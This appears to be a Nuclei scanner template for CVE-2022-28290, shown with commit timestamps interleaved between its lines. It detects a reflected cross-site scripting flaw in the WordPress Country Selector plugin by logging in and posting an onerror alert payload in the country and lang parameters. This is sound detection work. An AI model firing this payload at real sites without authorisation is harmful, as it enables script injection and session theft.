2022-05-10 08:49:06 +00:00
id : CVE-2022-28290
info :
2022-12-13 20:36:48 +00:00
name : WordPress Country Selector <1.6.6 - Cross-Site Scripting
2022-05-10 08:49:06 +00:00
author : Akincibor
severity : medium
2022-10-18 08:18:29 +00:00
description : |
2022-12-13 20:36:48 +00:00
WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
2023-09-06 11:59:08 +00:00
remediation : |
Update WordPress Country Selector plugin to version 1.6.6 or later to mitigate the vulnerability.
2022-05-10 08:49:06 +00:00
reference :
- https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479
2022-10-20 08:20:28 +00:00
- https://cybersecurityworks.com/zerodays/cve-2022-28290-reflected-cross-site-scripting-in-welaunch.html
2022-12-13 20:36:48 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-28290
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
2022-10-20 08:20:28 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-28290
cwe-id : CWE-79
2023-11-16 10:31:49 +00:00
epss-score : 0.00088
2024-03-23 09:28:19 +00:00
epss-percentile : 0.36353
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:welaunch:wordpress_country_selector:1.6.5:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : welaunch
product : wordpress_country_selector
2023-09-06 11:59:08 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,wordpress-country-selector,wpscan,wp,wordpress,wp-plugin,xss,welaunch
2022-05-10 08:49:06 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-05-10 08:49:06 +00:00
- raw :
2022-10-18 08:33:08 +00:00
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
2022-05-10 08:49:06 +00:00
- |
POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-10-18 08:18:29 +00:00
country=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US
2023-07-11 19:49:27 +00:00
skip-variables-check : true
2022-05-10 08:49:06 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-10-18 08:18:29 +00:00
- '<img src=x onerror=alert(document.domain)>'
- 'country_selector_'
condition : and
2022-05-10 08:49:06 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2024-03-25 11:57:16 +00:00
# digest: 4a0a00473045022100ebe533ef2ec09740f696d061f09daee596b1bfa0a1a88c9b3fe5abd00eeddd9e02205eca23209af224a5ef2c7ab7d53b737c3db0bb4012a36bf2b6c193725f4d3ae6:922c64590222798bb761d5b6d8e72950